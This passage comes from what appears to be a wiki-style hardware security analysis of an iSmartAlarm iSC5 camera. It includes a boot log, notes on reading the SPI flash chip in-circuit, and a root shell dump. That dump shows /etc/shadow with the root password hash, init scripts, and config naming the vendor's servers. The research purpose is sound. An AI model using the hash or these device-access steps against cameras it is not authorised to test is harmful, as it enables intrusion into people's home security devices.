***************     audio_wifi(buffer_frames,48000)   2956072   ********************&lt;br /&gt;
***********************************************************************************&lt;br /&gt;
***********************************************************************************&lt;br /&gt;
*************************************************************&lt;br /&gt;
******************    begin Cooee      **************&lt;br /&gt;
*************************************************************&lt;br /&gt;
pstAlarmFuncInfo-&amp;gt;nCloudyStateFlag = 0&lt;br /&gt;
OK&lt;br /&gt;
 no pic  231  um 847590 &lt;br /&gt;
 no pic  232  um 49682 &lt;br /&gt;
 no pic  232  um 264913 &lt;br /&gt;
 no pic  232  um 464008 &lt;br /&gt;
 no pic  232  um 661709 &lt;br /&gt;
 no pic  232  um 847831 &lt;br /&gt;
 no pic  233  um 47615 &lt;br /&gt;
 no pic  233  um 244993 &lt;br /&gt;
 no pic  233  um 461132 &lt;br /&gt;
 no pic  233  um 660414 &lt;br /&gt;
 no pic  233  um 861181 &lt;br /&gt;
 no pic  234  um 43007 &lt;br /&gt;
 no pic  234  um 243759 &lt;br /&gt;
 no pic  234  um 443064 &lt;br /&gt;
 no pic  234  um 661355 &lt;br /&gt;
 no pic  234  um 859948 &lt;br /&gt;
 no pic  235  um 60911 &lt;br /&gt;
 no pic  235  um 243859 &lt;br /&gt;
 no pic  235  um 443836 &lt;br /&gt;
 no pic  235  um 654527 &lt;br /&gt;
 no pic  235  um 861137 &lt;br /&gt;
 no pic  236  um 60774 &lt;br /&gt;
 no pic  236  um 263041 &lt;br /&gt;
 no pic  236  um 443540 &lt;br /&gt;
 no pic  236  um 643899 &lt;br /&gt;
 no pic  236  um 863547 &lt;br /&gt;
 no pic  237  um 60909 &lt;br /&gt;
 no pic  237  um 261431 &lt;br /&gt;
 no pic  237  um 460862 &lt;br /&gt;
Easy setup target library v3.3.0&lt;br /&gt;
&lt;br /&gt;
WLC_E_TRACE: [Event lost (msg) --&amp;gt; seqnum 5 nblost 4&lt;br /&gt;
000764.406 EasySetupFW: START&lt;br /&gt;
000764.406 Default channel list: &lt;br /&gt;
000764.406 2 7 12 3 8 13 4 9 5 10 1 6 11 &lt;br /&gt;
000764.406 -&amp;gt; [0]@CH[0]&lt;br /&gt;
000764.406 ES: ERROR -2 add packet filter&lt;br /&gt;
000764.407 ES: ERROR -2 add packet filter&lt;br /&gt;
000764.407 ES: ERROR -2 add packet filter&lt;br /&gt;
000764.407 ES: ERROR -2 add packet filter&lt;br /&gt;
000764.408 Protocol 0 init done&lt;br /&gt;
000764.408 Protocol 1 init done&lt;br /&gt;
000764.408 -&amp;gt; [1]@CH[0]&lt;br /&gt;
000764.409 ES: ERROR -2 add packet filter&lt;br /&gt;
 no pic  237  um 644411 &lt;br /&gt;
 no pic  237  um 847519 &lt;br /&gt;
 no pic  238  um 60686 &lt;br /&gt;
 no pic  238  um 258675 &lt;br /&gt;
 no pic  238  um 464081 &lt;br /&gt;
000765.484 -&amp;gt; [2]@CH[0]&lt;br /&gt;
000765.484 =&amp;gt; 11 &amp;lt;1&amp;gt;&lt;br /&gt;
 no pic  238  um 659067 &lt;br /&gt;
 no pic  238  um 847587 &lt;br /&gt;
 no pic  239  um 46387 &lt;br /&gt;
 no pic  239  um 263318 &lt;br /&gt;
 no pic  239  um 461071 &lt;br /&gt;
 no pic  239  um 658918 &lt;br /&gt;
 no pic  239  um 851473 &lt;br /&gt;
-----------nSessionID  is  -13 ----------- &lt;br /&gt;
 no pic  240  um 45822 &lt;br /&gt;
 no pic  240  um 246879 &lt;br /&gt;
 no pic  240  um 461897 &lt;br /&gt;
 no pic  240  um 661574 &lt;br /&gt;
 no pic  240  um 862076 &lt;br /&gt;
 no pic  241  um 42901 &lt;br /&gt;
RESET FACTORY RESET FACTORY RESET FACTORY RESET FACTORY&lt;br /&gt;
RESET FACTORY RESET FACTORY RESET FACTORY RESET FACTORY&lt;br /&gt;
RESET FACTORY RESET FACTORY RESET FACTORY RESET FACTORY&lt;br /&gt;
 no pic  241  um 293545 &lt;br /&gt;
 no pic  241  um 451548 &lt;br /&gt;
 no pic  241  um 652147 &lt;br /&gt;
 no pic  241  um 851155 &lt;br /&gt;
 no pic  242  um 52229 &lt;br /&gt;
 no pic  242  um 229505 &lt;br /&gt;
MCU_self_reset MCU_self_reset Restarting system.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
U-Boot 2011.09 (May 22 2015 - 16:07:40)&lt;br /&gt;
&lt;br /&gt;
DRAM:  64 MiB&lt;br /&gt;
MMC:   SD Card not detect&lt;br /&gt;
mmci_host_init error - -1&lt;br /&gt;
&lt;br /&gt;
SPI FLASH: 16 MB&lt;br /&gt;
In:    serial&lt;br /&gt;
Out:   serial&lt;br /&gt;
Err:   serial&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
Hit any key to stop autoboot:  5 ��� 4 ��� 3 ��� 2 ��� 1 ��� 0 &lt;br /&gt;
roofsr size = 0x63b070&lt;br /&gt;
## Booting kernel from Legacy Image at 00008000 ...&lt;br /&gt;
   Image Name:   Linux-2.6.35.12&lt;br /&gt;
   Image Type:   ARM Linux Kernel Image (uncompressed)&lt;br /&gt;
   Data Size:    2947968 Bytes = 2.8 MiB&lt;br /&gt;
   Load Address: 00008000&lt;br /&gt;
   Entry Point:  00008040&lt;br /&gt;
   Verifying Checksum ... OK&lt;br /&gt;
   XIP Kernel Image ... OK&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
Starting kernel ...&lt;br /&gt;
&lt;br /&gt;
[ ... ]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;JTAG&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:ISmartAlarm iSC5-MCUP01 V2 2 (iSC5-B01) JTAG Pin assignment.jpeg|200px|right|thumb|JTAG Pin Assignment]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span class=&amp;quot;todo&amp;quot; style=&amp;quot;font-size: 50px; line-height: 30px; padding-left: 10px&amp;quot;&amp;gt;⚒&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Exploit Memory Chips&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;The examined device uses SPI NOR Flash (SOP8) (MX25L12835F) to store data and/or (parts of) the firmware. The iSC5 additionally uses a another SOP16 chip (F9224 620K), which has the typical hand-drawn red mark on usually indicating the FW store. SPI (Serial Peripheral Interface) is a serial interface similar to UART. However, it is mainly used for communication between hardware components and offers a simple and efficient alternative to parallel bus systems following a master/slave architecture, which makes it very suitable for embedded applications. The focus of this work is on the use of SPI in combination with flash chips. With certain chip packages (e.g., SOP8/16), all data of the flash chip can be retrieved using SPI without having to unsolder the flash chip. In-Circuit Data Extraction allows chips to be read out without having to desolder them, which is only possible with chips of certain packages where the leads are exposed. Examples are NOR flash chips and EEPROMs of the Small-Outline Package (SOP), which use SPI or I2C. The SOP8 chips in this case could be read out using an SOP8 Clip and a CH341H programmer.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Datasheet&amp;lt;/b&amp;gt;: [https://www.mxic.com.tw/Lists/Datasheet/Attachments/7397/MX25L12835F,%203V,%20128Mb,%20v1.6.pdf MX25L12835F] &amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Live Analysis&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: Overview Firmware 01-32bd010c (Factory Default)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;Shell Commands&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;[                  ftpget             mkfifo             start-stop-daemon&lt;br /&gt;
[[                 ftpput             mkfs.ext2          strings&lt;br /&gt;
addgroup           fwburnonly         mkfs.reiser        stty&lt;br /&gt;
adduser            fwcnew             mkfs.vfat          su&lt;br /&gt;
arping             gdbserver          mknod              sulogin&lt;br /&gt;
ash                getopt             mktemp             swapoff&lt;br /&gt;
basename           getty              modprobe           swapon&lt;br /&gt;
bcmdl              gfwver             more               sync&lt;br /&gt;
busybox            gpio3_blink        mount              syslogd&lt;br /&gt;
cat                gpio_init          mount.exfat        tail&lt;br /&gt;
chgrp              gpio_led           mount.exfat-fuse   tar&lt;br /&gt;
chmod              gpio_ms1           mt                 tee&lt;br /&gt;
chown              grep               mv                 telnet&lt;br /&gt;
chroot             groups             netstat            telnetd&lt;br /&gt;
clear              halt               nice               test&lt;br /&gt;
cp                 hd                 nslookup           test_UP/&lt;br /&gt;
crond              head               ntfs-3g            time&lt;br /&gt;
crontab            hexdump            ntpd               top&lt;br /&gt;
cut                hostid             nvram_get          touch&lt;br /&gt;
date               hostname           nvram_init         tr&lt;br /&gt;
dc                 hwclock            nvram_set          true&lt;br /&gt;
dd                 id                 nvram_utility      tty&lt;br /&gt;
delgroup           ifconfig           pars_diff          ubimkvol&lt;br /&gt;
deluser            ifdown             passwd             ubirmvol&lt;br /&gt;
depmod             ifup               pidof              ubirsvol&lt;br /&gt;
df                 inetd              ping               ubiupdatevol&lt;br /&gt;
dhcprelay          init               ping6              udhcpc&lt;br /&gt;
dhd                insmod             poweroff           udhcpd&lt;br /&gt;
dhd_helper         install            printenv           umount&lt;br /&gt;
diff               ipcs               printf             uname&lt;br /&gt;
dirname            iwconfig           ps                 uniq&lt;br /&gt;
dmesg              iwlist             pstree             uptime&lt;br /&gt;
dnsd               iwpriv             pwd                users&lt;br /&gt;
dnsdomainname      kill               pwdx               usleep&lt;br /&gt;
du                 killall            readFile           uudecode&lt;br /&gt;
dumpleases         klogd              reboot             uuencode&lt;br /&gt;
echo               ln                 rm                 vi&lt;br /&gt;
egrep              logger             rmdir              vlock&lt;br /&gt;
env                login              rmmod              wc&lt;br /&gt;
expr               logname            route              wget&lt;br /&gt;
false              losetup            run-parts          which&lt;br /&gt;
fdformat           ls                 sed                who&lt;br /&gt;
fdisk              lsblk              setserial          whoami&lt;br /&gt;
fgrep              lsmod              sh                 whois&lt;br /&gt;
find               lsof               sha1sum            wl&lt;br /&gt;
flash_erase        md5sum             sha3sum            wpa_cli&lt;br /&gt;
flash_eraseall     mdev               singleBoadTest/    wpa_supplicant&lt;br /&gt;
free               mkdir              sleep              xargs&lt;br /&gt;
fstrim             mkdosfs            snx_pwm_period     yes&lt;br /&gt;
fsync              mke2fs             sort&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;Service configuration&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;# echo $USER&lt;br /&gt;
root&lt;br /&gt;
&lt;br /&gt;
# cat /etc/passwd&lt;br /&gt;
root:x:0:0:root:/root:/bin/sh&lt;br /&gt;
daemon:x:1:1:daemon:/usr/sbin:/bin/sh&lt;br /&gt;
bin:x:2:2:bin:/bin:/bin/sh&lt;br /&gt;
sys:x:3:3:sys:/dev:/bin/sh&lt;br /&gt;
sync:x:4:100:sync:/bin:/bin/sync&lt;br /&gt;
mail:x:8:8:mail:/var/spool/mail:/bin/sh&lt;br /&gt;
proxy:x:13:13:proxy:/bin:/bin/sh&lt;br /&gt;
www-data:x:33:33:www-data:/var/www:/bin/sh&lt;br /&gt;
backup:x:34:34:backup:/var/backups:/bin/sh&lt;br /&gt;
operator:x:37:37:Operator:/var:/bin/sh&lt;br /&gt;
sshd:x:103:99:Operator:/var:/bin/sh&lt;br /&gt;
nobody:x:99:99:nobody:/home:/bin/sh&lt;br /&gt;
default:x:1000:1000:Default non-root user:/home/default:/bin/sh&lt;br /&gt;
&lt;br /&gt;
# cat /etc/shadow&lt;br /&gt;
root:$1$2368HyEJ$kwdhYsA4j0BOLLvdohThM1:10933:0:99999:7:::&lt;br /&gt;
bin:*:10933:0:99999:7:::&lt;br /&gt;
daemon:*:10933:0:99999:7:::&lt;br /&gt;
adm:*:10933:0:99999:7:::&lt;br /&gt;
lp:*:10933:0:99999:7:::&lt;br /&gt;
sync:*:10933:0:99999:7:::&lt;br /&gt;
shutdown:*:10933:0:99999:7:::&lt;br /&gt;
halt:*:10933:0:99999:7:::&lt;br /&gt;
uucp:*:10933:0:99999:7:::&lt;br /&gt;
operator:*:10933:0:99999:7:::&lt;br /&gt;
nobody:*:10933:0:99999:7:::&lt;br /&gt;
default::10933:0:99999:7:::&lt;br /&gt;
&lt;br /&gt;
# cat /etc/group&lt;br /&gt;
root:x:0:&lt;br /&gt;
daemon:x:1:&lt;br /&gt;
bin:x:2:&lt;br /&gt;
sys:x:3:&lt;br /&gt;
adm:x:4:&lt;br /&gt;
tty:x:5:&lt;br /&gt;
disk:x:6:&lt;br /&gt;
wheel:x:10:root&lt;br /&gt;
utmp:x:43:&lt;br /&gt;
staff:x:50:&lt;br /&gt;
nobody:x:99:&lt;br /&gt;
nogroup:x:99:&lt;br /&gt;
users:x:100:&lt;br /&gt;
default:x:1000:&lt;br /&gt;
&lt;br /&gt;
# cat /linuxrc&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
#&lt;br /&gt;
# This is the first script run in the system.&lt;br /&gt;
#&lt;br /&gt;
# Create device file&lt;br /&gt;
echo &amp;quot;Create device file&amp;quot;&lt;br /&gt;
/bin/mount -t proc none /proc&lt;br /&gt;
/bin/mount -t sysfs none /sys&lt;br /&gt;
/bin/mount -t usbfs none /proc/bus/usb&lt;br /&gt;
/bin/mount -t tmpfs -o size=512k,mode=0755 dev /dev&lt;br /&gt;
/bin/mkdir /dev/pts&lt;br /&gt;
/bin/mkdir /dev/shm&lt;br /&gt;
/bin/mount -t devpts devpts  /dev/pts&lt;br /&gt;
/bin/echo /sbin/mdev &amp;gt; /proc/sys/kernel/hotplug&lt;br /&gt;
/sbin/mdev -s&lt;br /&gt;
&lt;br /&gt;
#add for mount /dev/mtdblock4&lt;br /&gt;
/bin/mount -t jffs2 /dev/mtdblock4 /etc&lt;br /&gt;
if [ $? -ne 0 ]; then&lt;br /&gt;
        echo &amp;quot;Clean up the old data in the &#039;etc&#039; partition.&amp;quot;&lt;br /&gt;
        /usr/sbin/flash_eraseall -j -q /dev/mtd4&lt;br /&gt;
        /bin/mount -t jffs2 /dev/mtdblock4 /etc&lt;br /&gt;
fi&lt;br /&gt;
if [ ! -x /etc/init.d/rcS ]; then&lt;br /&gt;
        echo &amp;quot;The system run for the first time.&amp;quot;&lt;br /&gt;
        echo &amp;quot;Please wait for initialization...&amp;quot;&lt;br /&gt;
        /bin/rm -rf /etc/*&lt;br /&gt;
        cp -a /root/etc_default/* /etc&lt;br /&gt;
        /bin/fsync&lt;br /&gt;
fi&lt;br /&gt;
#Create mdev&lt;br /&gt;
/bin/echo /sbin/mdev &amp;gt; /proc/sys/kernel/hotplug&lt;br /&gt;
/sbin/mdev -s&lt;br /&gt;
#add nvram inode&lt;br /&gt;
/sbin/modprobe snx_crypto&lt;br /&gt;
/sbin/modprobe snx_nvram&lt;br /&gt;
/bin/mknod /dev/nvram c 251 0&lt;br /&gt;
exec /sbin/init&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# cat /etc/config/.user_config&lt;br /&gt;
[IP]&lt;br /&gt;
Wired_DNS=192.168.1.1&lt;br /&gt;
Wired_Gateway=192.168.1.1&lt;br /&gt;
Wired_Subnet=255.255.255.0&lt;br /&gt;
Wired_Mode=D&lt;br /&gt;
Wired_IP=192.168.1.68&lt;br /&gt;
Wifi_DNS=192.168.1.1&lt;br /&gt;
Wifi_Gateway=192.168.1.1&lt;br /&gt;
Wifi_Subnet=255.255.255.0&lt;br /&gt;
Wifi_IP=192.168.1.68&lt;br /&gt;
Wifi_Active=y&lt;br /&gt;
Wifi_Mode=D&lt;br /&gt;
&lt;br /&gt;
[ALARM]&lt;br /&gt;
Alarm_pir_Switch=n&lt;br /&gt;
Alarm_Audio_SmokeYXMOD=200&lt;br /&gt;
Alarm_Audio_Sensitivity=5&lt;br /&gt;
Alarm_Audio_Switch=n&lt;br /&gt;
Alarm_Motion_Region=0,0;0,0&lt;br /&gt;
Alarm_Motion_Sensitivity=5&lt;br /&gt;
Alarm_Motion_Switch=n&lt;br /&gt;
&lt;br /&gt;
[LED_CONTROL]&lt;br /&gt;
Light_Night=y&lt;br /&gt;
Light_Net=y&lt;br /&gt;
&lt;br /&gt;
[VA_PARMS]&lt;br /&gt;
Audio_Volume=1&lt;br /&gt;
Audio_Sample=8000&lt;br /&gt;
Audio_Channel=1&lt;br /&gt;
Video_OSD=n&lt;br /&gt;
Video_Sample=10&lt;br /&gt;
Video_Rate=50&lt;br /&gt;
Video_Vflip=1&lt;br /&gt;
Video_Hflip=1&lt;br /&gt;
Video_Constract=3&lt;br /&gt;
Video_Bright=1&lt;br /&gt;
Video_IPS=30&lt;br /&gt;
&lt;br /&gt;
[CAMERA_INFO]&lt;br /&gt;
Camera_Mqtt_Server=bzy.ismartalarm.com&lt;br /&gt;
Camera_Type=iSC5&lt;br /&gt;
P2p_UID=&lt;br /&gt;
Server_URL=api.ismartalarm.com&lt;br /&gt;
SW_Version=0.0.0.0&lt;br /&gt;
HW_Version=0.0.0.0&lt;br /&gt;
Config_Version=2.4.9.6&lt;br /&gt;
Device_State=u&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# cat /etc/init.d/rcS&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
echo &amp;quot;Load drivers...&amp;quot;&lt;br /&gt;
modprobe snx_gpio&lt;br /&gt;
modprobe snx_sd &amp;amp;&lt;br /&gt;
modprobe snx_nvram &amp;amp;&lt;br /&gt;
&lt;br /&gt;
/etc/init.d/videomdprob.sh &amp;amp;&lt;br /&gt;
/etc/init.d/audmdprob.sh &amp;amp;&lt;br /&gt;
gpio_ms1 -n 3 -m 1 -v 0&lt;br /&gt;
if [ -f /lib/modules/2.6.35.12/kernel/drivers/bcmdhd.ko ]; then&lt;br /&gt;
        #/bin/bcmdl -n /usr/share/WUBB-738GN_4.2/Wi-Fi/nvram_wubb-743gn.nvm /usr/share/WUBB-738GN_4.2/Wi-Fi/fw_bcm43143b0_mfg.bin.trx -C 10&lt;br /&gt;
        /bin/bcmdl -n /usr/share/WUBB-738GN_4.2/Wi-Fi/nvram_wubb-743gn.nvm /usr/share/WUBB-738GN_4.2/Wi-Fi/cooee.bin.trx -C 10&lt;br /&gt;
        modprobe bcmdhd&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
#if [ -f /lib/modules/2.6.35.12/kernel/drivers/bcmdhd.ko ]; then&lt;br /&gt;
#       /bin/bcmdl -n /etc/WUBB-738GN_4.2/Wi-Fi/nvram_wubb-738gn.nvm /etc/WUBB-738GN_4.2/Wi-Fi/fw_bcm43143b0.bin.trx -C 10&lt;br /&gt;
#       modprobe bcmdhd&lt;br /&gt;
#fi&lt;br /&gt;
&lt;br /&gt;
#modprobe snx_pwm&lt;br /&gt;
#modprobe snx_rtc&lt;br /&gt;
#hwclock -s&lt;br /&gt;
#modprobe 8188eu&lt;br /&gt;
#modprobe ov971x&lt;br /&gt;
&lt;br /&gt;
# Start all init scripts in /etc/init.d&lt;br /&gt;
# executing them in numerical order.&lt;br /&gt;
#&lt;br /&gt;
for i in /etc/init.d/S??* ;do&lt;br /&gt;
&lt;br /&gt;
     # Ignore dangling symlinks (if any).&lt;br /&gt;
     [ ! -f &amp;quot;$i&amp;quot; ] &amp;amp;&amp;amp; continue&lt;br /&gt;
&lt;br /&gt;
     case &amp;quot;$i&amp;quot; in&lt;br /&gt;
        *.sh)&lt;br /&gt;
            # Source shell script for speed.&lt;br /&gt;
            (&lt;br /&gt;
                trap - INT QUIT TSTP&lt;br /&gt;
                set start&lt;br /&gt;
                . $i&lt;br /&gt;
            )&lt;br /&gt;
            ;;&lt;br /&gt;
        *)&lt;br /&gt;
            # No sh extension, so fork subprocess.&lt;br /&gt;
            $i start&lt;br /&gt;
            ;;&lt;br /&gt;
    esac&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
# Here start our services&lt;br /&gt;
/etc/init.d/rc.local &amp;amp;&lt;br /&gt;
&lt;br /&gt;
/usr/bin/singleBoadTest/singleBoadTest&lt;br /&gt;
if [ -f /etc/iSC3S/executable ]; then&lt;br /&gt;
        /etc/iSC3S/iSC3S &amp;amp;&lt;br /&gt;
else&lt;br /&gt;
        /root/etc_default/iSC3S/iSC3S &amp;amp;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# cat /etc/inittab&lt;br /&gt;
# Format for each entry: &amp;lt;id&amp;gt;:&amp;lt;runlevels&amp;gt;:&amp;lt;action&amp;gt;:&amp;lt;process&amp;gt;&lt;br /&gt;
# id        == tty to run on, or empty for /dev/console&lt;br /&gt;
# runlevels == ignored&lt;br /&gt;
# action    == one of sysinit, respawn, askfirst, wait, and once&lt;br /&gt;
# process   == program to run&lt;br /&gt;
&lt;br /&gt;
# Startup the system&lt;br /&gt;
null::sysinit:/bin/mount -o remount,rw /&lt;br /&gt;
null::sysinit:/bin/mount -a&lt;br /&gt;
# now run any rc scripts&lt;br /&gt;
::sysinit:/usr/bin/pars_diff 10&lt;br /&gt;
::sysinit:/etc/init.d/rcS&lt;br /&gt;
&lt;br /&gt;
# Put a getty on the serial port&lt;br /&gt;
ttyS0::respawn:/sbin/getty -L ttyS0 115200 vt100&lt;br /&gt;
&lt;br /&gt;
# Logging junk&lt;br /&gt;
null::sysinit:/bin/touch /var/log/messages&lt;br /&gt;
null::respawn:/sbin/syslogd -n -m 0&lt;br /&gt;
null::respawn:/sbin/klogd -n&lt;br /&gt;
&lt;br /&gt;
# Stuff to do for the 3-finger salute&lt;br /&gt;
::ctrlaltdel:/sbin/reboot&lt;br /&gt;
&lt;br /&gt;
# Stuff to do before rebooting&lt;br /&gt;
null::shutdown:/usr/bin/killall klogd&lt;br /&gt;
null::shutdown:/usr/bin/killall syslogd&lt;br /&gt;
null::shutdown:/bin/umount -a -r&lt;br /&gt;
null::shutdown:/sbin/swapoff -a&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;User configuration&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;Wired_DNS=192.168.1.1&lt;br /&gt;
Wired_Gateway=192.168.1.1&lt;br /&gt;
Wired_Subnet=255.255.255.0&lt;br /&gt;
Wired_Mode=D&lt;br /&gt;
Wired_IP=192.168.1.68&lt;br /&gt;
Wifi_DNS=192.168.1.1&lt;br /&gt;
Wifi_Gateway=192.168.1.1&lt;br /&gt;
Wifi_Subnet=255.255.255.0&lt;br /&gt;
Wifi_IP=192.168.1.68&lt;br /&gt;
Wifi_Active=y&lt;br /&gt;
Wifi_Mode=D&lt;br /&gt;
&lt;br /&gt;
[ALARM]&lt;br /&gt;
Alarm_pir_Switch=n&lt;br /&gt;
Alarm_Audio_SmokeYXMOD=200&lt;br /&gt;
Alarm_Audio_Sensitivity=5&lt;br /&gt;
Alarm_Audio_Switch=n&lt;br /&gt;
Alarm_Motion_Region=0,0;0,0&lt;br /&gt;
Alarm_Motion_Sensitivity=5&lt;br /&gt;
Alarm_Motion_Switch=n&lt;br /&gt;
&lt;br /&gt;
[LED_CONTROL]&lt;br /&gt;
Light_Night=y&lt;br /&gt;
Light_Net=y&lt;br /&gt;
&lt;br /&gt;
[VA_PARMS]&lt;br /&gt;
Audio_Volume=1&lt;br /&gt;
Audio_Sample=8000&lt;br /&gt;
Audio_Channel=1&lt;br /&gt;
Video_OSD=n&lt;br /&gt;
Video_Sample=10&lt;br /&gt;
Video_Rate=50&lt;br /&gt;
Video_Vflip=1&lt;br /&gt;
Video_Hflip=1&lt;br /&gt;
Video_Constract=3&lt;br /&gt;
Video_Bright=1&lt;br /&gt;
Video_IPS=30&lt;br /&gt;
&lt;br /&gt;
[CAMERA_INFO]&lt;br /&gt;
Camera_Mqtt_Server=bzy.ismartalarm.com&lt;br /&gt;
Camera_Type=iSC5&lt;br /&gt;
P2p_UID=&lt;br /&gt;
Server_URL=api.ismartalarm.com&lt;br /&gt;
SW_Version=0.0.0.0&lt;br /&gt;
HW_Version=0.0.0.0&lt;br /&gt;
Config_Version=2.4.9.6&lt;br /&gt;
Device_State=up&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;Mounted filesystems (&amp;lt;code&amp;gt;df&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;fdisk&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;cat /proc/mounts&amp;lt;/code&amp;gt;)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;# cat /proc/mtd&lt;br /&gt;
dev:    size   erasesize  name&lt;br /&gt;
mtd0: 000c0000 00008000 &amp;quot;uboot&amp;quot;&lt;br /&gt;
mtd1: 00300000 00008000 &amp;quot;kernel&amp;quot;&lt;br /&gt;
mtd2: 00700000 00008000 &amp;quot;rootfs&amp;quot;&lt;br /&gt;
mtd3: 00400000 00008000 &amp;quot;rescue&amp;quot;&lt;br /&gt;
mtd4: 00100000 00008000 &amp;quot;etc&amp;quot;&lt;br /&gt;
mtd5: 00040000 00008000 &amp;quot;userconfig&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# df&lt;br /&gt;
Filesystem           1K-blocks      Used Available Use% Mounted on&lt;br /&gt;
/dev/root                12948     12948         0 100% /&lt;br /&gt;
dev                        512         4       508   1% /dev&lt;br /&gt;
/dev/mtdblock4            1024       724       300  71% /etc&lt;br /&gt;
tmpfs                    40228        12     40216   0% /tmp&lt;br /&gt;
lock                     20112         0     20112   0% /var/lock&lt;br /&gt;
log                      20112        40     20072   0% /var/log&lt;br /&gt;
run                      20112        16     20096   0% /var/run&lt;br /&gt;
spool                    20112         0     20112   0% /var/spool&lt;br /&gt;
tmp                      20112         0     20112   0% /var/tmp&lt;br /&gt;
media                    20112         0     20112   0% /media&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# fdisk -l&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock0: 0 MB, 786432 bytes&lt;br /&gt;
255 heads, 63 sectors/track, 0 cylinders&lt;br /&gt;
Units = cylinders of 16065 * 512 = 8225280 bytes&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock0 doesn&#039;t contain a valid partition table&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock1: 3 MB, 3145728 bytes&lt;br /&gt;
255 heads, 63 sectors/track, 0 cylinders&lt;br /&gt;
